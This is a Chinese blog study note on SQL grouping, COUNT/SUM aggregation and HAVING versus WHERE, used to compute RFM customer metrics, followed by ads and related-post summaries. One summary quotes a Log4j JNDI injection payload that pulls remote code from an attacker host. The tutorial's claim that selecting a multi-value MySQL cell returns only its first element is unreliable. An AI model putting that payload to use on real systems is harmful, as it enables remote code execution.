小木的学习日记-SQL中分组与数据统计

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

RFM模型:

我们先来介绍一个大家耳熟但又不太了解的模型---RFM模型

R(Recency)-最近的一次消费时间间隔!!注意是间隔!比如你在A店铺,6月1日买了一个东西,然后第二次进行交易时6月5日又再该店铺有买了一个,则R时间间隔就是4天(5-1 哈哈哈)

F(Frequency)-消费次数(消费了几次)

M(Monetary)-总消费金额

GROUP BY 

1 通过GROUP BY 算每一个客户的M

SELECT account_id,SUM(total_price) AS M  选中orders表中的account_id列以及对total_price求和后给新的列M
FROM orders   数据来自于表orders
GROUP BY account_id;  按照account_id进行分组(account_id对应的客户就是按照客户分组,从而计算出每一个客户的M)

2注意

在MYSQL数据库中,对于一个单元格有多个数据的列不能直接用SELECT取出其中所有的元素。比如

若使用SELECT id 只能取出id列每个单元格中的第一个元素。

2 计算F消费频率(消费的总次数)

总次数---我就想到了对于的总行数 ,因为1行代表一次消费记录嘛

所以F的数量与行数相同

所以呢剩下的任务就是对F进行筛选以及分组了

SELECT account_id,COUNT(*) AS F   总结所有的行数并且赋值给新的列 F
FROM orders   数据来自于orders表
WHERE total_price is not null 条件-总的价格不是空的
GROUP BY account_id;  以用户id(account_id)进行分组

HAVING(having)

其作用就是分组(GROUP BY)之后的筛选

以下是其与WHERE的区别

HAVING支持所有WHERE操作符。唯一的差别是WHERE过滤行,HAVING过滤组。

HAVING必须在GROUP BY之后使用,表示对分组后的结果进行筛选。

比如:
SELECT account_id,COUNT(*) AS F
FROM orders
WHERE total_price is not null
GROUP BY account_id
HAVING F>5   在分组之后进行筛选 
ORDER BY F DESC,account_id;

FROM-WHERE-GROUP BY-HAVING-SELECT-ORDER BY-LIMIT/OFFSET
以上是SQL语言的执行顺序

先从FROM表中获取数据集,然后对数据进行筛选----价格不是空值---筛选后进行分组(按照用户ID)--筛选后对每个用户的数据进行二次筛选比如----HAVING F>5 只要F大于5的数据  之后呢先按照F进行降序排序如果F相等时按account_id进行升序排序(因为没有写出DESC则默认是升序ASC)

简洁版:

一、认知破冰:为什么 RFM 模型是数据人的「瑞士军刀」?

(用「痛点场景 + 价值承诺」建立阅读动机,参考《Hooked》用户触发理论)

场景导入:

假设你是电商运营,面对 10 万条订单数据,如何快速区分「高价值客户」和「沉睡客户」?
❌ 传统做法:凭经验翻 Excel,耗时 3 天还漏看关键客户
✅ 高效解法:用 RFM 模型 3 步量化客户价值,10 分钟生成决策报表

核心价值:

  • 3 个维度(R/F/M)拆解客户分层逻辑
  • 5 行 SQL 实现从数据到洞察的跃迁
  • 避开 90% 新手会犯的分组统计陷阱

二、RFM 模型底层逻辑:3 个维度定义客户价值

(采用「概念→公式→案例」递进结构,符合《认知天性》记忆规律)

2.1 R(Recency)- 最近消费间隔:用时间衡量活跃度

核心公式:
R = 当前日期 - 最后一次消费日期(数值越小,客户越活跃)
案例解析:

  • 客户 A:6 月 5 日下单 → R=4 天(假设今日 6 月 9 日)
  • 客户 B:5 月 1 日下单 → R=39 天
    运营策略:R>30 天的客户需重点唤醒(如定向优惠券)
2.2 F(Frequency)- 消费频次:用次数衡量忠诚度

核心公式:
F = 某时间段内消费次数(数值越大,忠诚度越高)
反常识点:

  • 单次高消费客户≠优质客户(可能是偶然行为)
  • 高频低消客户更具长期价值(如咖啡月卡用户)
2.3 M(Monetary)- 消费金额:用钱包份额衡量贡献度

核心公式:
M = 累计消费金额(数值越大,商业价值越高)
业务场景:

  • M>10000 元:VIP 专属服务
  • M<500 元:引导升级套餐

三、SQL 实战:从 0 到 1 计算 RFM 指标(附执行顺序脑图)

(采用「需求拆解→代码分步→结果验证」流程,参考《代码整洁之道》可读性原则)

3.1 准备工作:理解数据结构

表结构示例(orders 表):

account_idorder_datetotal_price
1012025-06-01199
1012025-06-05299
1022025-05-01599
3.2 计算 M(总消费金额):分组聚合核心逻辑

需求:按客户分组,计算每位客户的累计消费金额

sql

SELECT  
  account_id,  
  SUM(total_price) AS M  -- 核心聚合函数  
FROM  
  orders  
GROUP BY  
  account_id;  -- 按客户ID分组(关键点:GROUP BY后只能跟聚合列或分组列)  

执行顺序解析:
FROM orders → 加载数据 → GROUP BY account_id → 分组 → SUM(total_price) → 计算 M

3.3 计算 F(消费频次):行数统计与筛选

需求:统计有效订单(排除金额为空的记录)的客户消费次数

sql

SELECT  
  account_id,  
  COUNT(*) AS F  -- COUNT(*)统计非NULL行总数  
FROM  
  orders  
WHERE  
  total_price IS NOT NULL  -- 先过滤无效数据(WHERE在GROUP BY前执行)  
GROUP BY  
  account_id;  

避坑提示:
❗️ MYSQL 中,若字段含多值(如 JSON 数组),直接 SELECT 会取首个元素
✅ 正确做法:先用 JSON_EXTRACT 解析后再分组

3.4 组合查询:一次性计算 R/F/M(含时间函数)

需求:计算近 30 天内的客户 R/F/M 值(当前日期:2025-06-09)

sql

SELECT  
  account_id,  
  DATEDIFF('2025-06-09', MAX(order_date)) AS R,  -- 计算最近消费间隔  
  COUNT(*) AS F,  
  SUM(total_price) AS M  
FROM  
  orders  
WHERE  
  order_date >= '2025-05-10'  -- 筛选近30天数据  
GROUP BY  
  account_id  
HAVING  
  F > 5  -- 分组后筛选:仅保留消费超5次的客户  
ORDER BY  
  M DESC, account_id ASC;  -- 按金额降序,ID升序排序  

执行顺序脑图:

plaintext

FROM → WHERE → GROUP BY → HAVING → SELECT → ORDER BY → LIMIT  

(用箭头图可视化,帮助技术人员快速记忆)

四、高阶技巧:HAVING vs WHERE 的本质区别(附决策树)

(解决新手核心困惑,采用「对比表格 + 决策树」直观呈现,参考《视觉锤》理论)

维度WHEREHAVING
执行时机GROUP BY 前过滤行GROUP BY 后过滤分组
可用条件原始列、表达式(如 total_price)聚合结果(如 COUNT (*)、SUM (M))
性能影响优先用 WHERE(减少分组数据量)分组后过滤(数据量较大时慢)

决策树口诀:

  1. 过滤「行数据」→ 用 WHERE
  2. 过滤「分组结果」→ 先 WHERE 过滤行,再 HAVING 过滤组

五、认知升维:RFM 模型的 3 个实战误区

(用「错误案例 + 修正方案」强化记忆,符合《原则》的复盘思维)

误区 1:直接用绝对值分层(如 R>30 天 = 沉睡客户)

错误原因:不同行业周期不同(高频电商 vs 低频教育)
修正方案:用「分位数法」分层(如 R 值前 20% 为高活跃)

误区 2:忽略 M 值的异常值(如单笔百万订单客户)

错误原因:少数高消客户拉高整体均值
修正方案:用中位数替代均值,或单独标记「鲸鱼客户」

误区 3:只看当前数据,不做趋势分析

错误原因:客户价值是动态变化的
进阶用法:新增「R 变化率」指标(如本月 R 值较上月缩短 50%)

结语:从数据到决策的最后一公里

(用「行动号召 + 价值升华」结尾,参考《认同感》收尾技巧

RFM 模型的本质,是用数据思维替代经验主义。当你能用 5 行 SQL 算出客户的「R=7 天,F=15 次,M=8888 元」时,你已经超越了 80% 仅凭直觉做决策的运营者。

塑造你生活的不是你偶尔做的一两件事而是你一贯坚持做的事。———安东尼-罗宾

从零开始学习使用 AI 欢迎踏入ClaudeCode未来世界,开启与AI协作的全新旅程。无论你是零基础新手、开发者,还是非程序员,都能通过实战项目快速掌握智能体协作技能——不再只是提问,而是指挥AI完成复杂任务。你将化身主角,在16个级别、200+实践中成长为高效创造者。真正的优势不再是会用工具,而是懂得如何让智能体为你工作。取代你的不是AI,而是会用AI的人。现在,故事从你开始👇 阅读详情

相关推荐

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。

Txwtech 42

【SQL统计】简单实用的统计SQL

SQL统计实现按年按月分组统计统计单一统计分组统计分组排序统计关联查询和分组排序统计统计每月的数据多分组条件统计SQL模板结尾语 统计 正常在工作中经常会遇到需要统计的需求,所以使用sql完成数据统计成了必不可缺少的一项,下面分享一些版 主自己的几个实用例子,希望对大家有所帮助。 前俩个是比较简单的,如果只是为了看统计每年中各月份的数据的可以直接跳过看第三个。 单一统计 单一的统计只是简单的统计加了自己的条件,统计一定条件下的数据条数。 <select id="countInfo" p

weixin_43898002的博客 6339

Xilinx IP库在Modelsim/Questasim中的高效仿真实践

本文详细介绍了在Modelsim/Questasim中高效仿真Xilinx FPGA设计的核心方法。针对仿真时常见的IP核缺失错误,重点解析了两种主流解决方案:使用Vivado的compile_simlib命令自动编译完整仿真库,以及利用export_simulation命令为特定工程生成仿真脚本。文章还提供了手动配置库的深入理解、实战排错步骤及高级避坑指南,帮助用户构建稳定、高效的独立仿真环境。

sony5的博客 1230

【SQL实战-电商】RFM用户分层

电子商务公司希望对其客户进行细分,并根据这些细分确定营销策略。为此,我们将定义客户的行为,并根据这些行为中的集群创建组。换句话说,我们将把那些表现出共同行为的人纳入同一群体,我们将努力为这些群体开发特殊的销售和营销技术。此Online Retail II数据集包含2009年12月1日至2011年12月9日期间在英国注册的非店铺在线零售发生的所有交易。该公司主要销售独特的所有场合礼品。该公司的许多客户都是批发商。

qq_42364589的博客 973

【STABLE_BASELINE3】强化学习算法实战:模型的保存,读取,再训练

STABLE-BASELINE3,模型读取,再训练:有时候需要在已经训练好的模型基础上进行再次训练。

Kiek17的博客 4868

从爆仓到流畅发货:我们如何用EIQ分析给跨境小电商仓库做了一次‘体检’与‘手术’

本文分享了如何通过EIQ分析工具为跨境小电商仓库进行诊断与优化,从爆仓危机到流畅发货的实战经验。通过ABC分类法、动态路径算法等策略,拣货效率提升40%,错发率降低91%,日均处理能力翻倍。文章为小电商提供了轻量级工具选择和关键指标监控的实用建议。

weixin_28707739的博客 397

SQL-Floor函数代替CASE WHEN实现指定步长区间分组统计

数据分析中会遇到的一个场景是分析支付金额在不同分组区间的订单数,比如支付金额200以内的每5元是一个区间,200-100的以100元为一个区间,计算不同分组区间的订单数有多少。

weixin_42496486的博客 849

“风色幻想XX:交错轨迹游戏卡顿:从解决d3dx9_xx.dll缺失开始——风色幻想XX优化指南

《风色幻想XX:交错轨迹》作为一款深受玩家喜爱的角色扮演游戏,以其丰富的剧情、独特的角色设定和精美的画面赢得了广泛的赞誉。然而,在游戏过程中,部分玩家可能会遇到游戏卡顿的问题,这不仅影响了游戏体验,还可能让玩家错失精彩的剧情和战斗瞬间。在众多导致游戏卡顿的因素中,d3dx9_xx.dll文件的缺失往往是一个不容忽视的原因。

czl922的博客 1258

sql:统计(group by)

1、sum和group by select s.CreateTime,sum(Value) from ( SELECT a.CreateTime CreateTime, a.`Value` Value FROM lubri_log a) s GROUP BY s.CreateTime

李白 1241

黑暗中的爆破(船讯网Ais爬虫暨爬虫实战js逆向学习经验分享)

船讯网 爬虫 js逆向 python

returnadsss的博客 1576

用 SAP-ABAP-1 把 ABAP 代码读懂:从 Generative AI Hub Orchestration 到 Joule 落地的实战指南

SAP-ABAP-1 是 SAP 推出的 ABAP 专用基础模型,专注于代码解释与理解。它能显著降低企业遗留系统的维护成本,帮助开发人员快速掌握复杂业务逻辑。该模型通过 SAP Generative AI hub 托管,支持 128,000 tokens 的上下文长度,适合分析大型 ABAP 类和 CDS 视图。典型应用场景包括代码解释、迁移辅助和云合规检查。调用需通过 Orchestration service 进行,确保企业级安全治理。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1213

织梦一句SQL统计多个模型的文档总和

比如,我要在页面中统计出 普通文章+图片集+软件 这3个模型的文档总和 {dede:sql sql="SELECT SUM(IF((channel=1),1,0))+SUM(IF((channel=2),1,0))+SUM(IF((channel=3),1,0)) AS c FROM `#@__arctiny`"}共有文章和图集和软件:[field:c /]个{/dede:sql} 效...

zhang01457的博客 141

【PySide6拓展】初识QChart图表

在 PySide6 中,QtCharts模块提供了一系列强大的类,用于创建和管理图表。QChart是这个模块的核心类,它可以帮助开发者轻松地实现数据的可视化。本篇文章将介绍如何使用 PySide6 的QtCharts模块,并通过一个简单的示例教你如何快速引入QChart。QChart折线图柱状图饼图区域图它能够直观地呈现数据,同时支持交互功能,如缩放、拖拽和工具提示等。通过引入QChart,我们可以轻松实现数据的可视化,提升应用的交互性和用户体验。结合其他QtCharts。

m0_62599305的博客 822

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 375

Python数据分析全流程指南:从数据采集到可视化呈现的实战解析

在数字化转型浪潮中,数据分析已成为企业决策的核心驱动力。Python凭借其丰富的生态库和简洁的语法,成为数据分析师的首选工具。本文将以实战案例为脉络,拆解数据分析全流程的关键环节,通过具体代码和场景说明如何用Python完成从数据采集到可视化呈现的完整链路。

这家伙很懒,什么都没有留下 1681

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 423

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

邓明 Agent 系统面试-意图识别学习笔记

不要只是做意图识别而不做测评,就好像要评估 RAG 准确性,在接口服务要测试响应时延,超时控制等等,这里也要关注意图识别准确率,如果面试官认为项目指标太高是在吹牛,关键就是回答因为 Agent 解决的是特定领域的意图识别,识别场景单一,另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载,意图识别影响上下文组织,意图识别影响工具选择,意图识别影响 prompt 建议,意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因,以及意图识别得到的是什么?

m0_57222081的博客 216

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 205

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 362

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 168

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 198

将物理先验嵌入机器人学习:从经典力学到 VLA 与 WAM

本文综述了将物理先验嵌入机器人学习的三条路径:数据与表示、模型架构、训练损失,强调其位置决定约束效力。通过夹取软物体案例,阐明运动学、动力学、接触与材料特性在任务中的分层作用。指出物理先验非万能,需匹配实际条件;强约束可加速学习,但误用会引入偏差。提出“有效刚度”等概念,强调主动探测与参数辨识的重要性,并警示仅靠单一方法无法保障安全执行,需结合在线验证与控制闭环。

lovely_yoshino的博客 920

Linux网络学习【深入理解多路转接epoll】

本文围绕 Linux 多路转接 epoll 展开,以“设计动机—核心机制—触发模式—代码实践”为主线,对比 select、poll 的监听管理与就绪检查方式,解析关注集合、就绪列表及核心接口,重点讲解水平触发与边缘触发的行为差异,以及边缘触发配合非阻塞读写的处理要点。结合多连接服务器实践,梳理事件注册、连接接收、部分收发、可写事件按需监听及断开清理流程,厘清就绪通知与操作完成的区别,分析常见错误与性能影响因素,帮助读者建立从事件循环到连接管理的完整认识,为高并发服务器与事件驱动框架开发打下基础。

承于所学,探技术之渊;以代码求政,寻成长之道。 1万+

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 185

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 357

ES6:Iterator与Generator函数学习及Generator函数和async实现异步编程理解

几个概念:可迭代对象是指具有迭代器接口的对象: 实现类数组使用 for of 循环 对象无法使用数组的迭代器。 generator 函数类似遍历器函数,返回一个迭代器对象; 该对象调用 方法时,会把 后面的表达式作为值 ,并执行当前指针与下一步指针之间的程序。 generator 实现迭代器函数 后面跟的内容为 得到的 值。流程:循环 会调用 generator 函数,返回一个 iterator 对象, 方法由 generator 内部的 决定。 Gene

2403_87566238的博客 221
上一篇: 小木的学习日记-SQL函数-时间函数与字符串函数
下一篇: 小木的算法日记-DFS和BFS的适用场景(深度和广度)
木旭林晖
博客等级 码龄2年 159粉丝 31原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值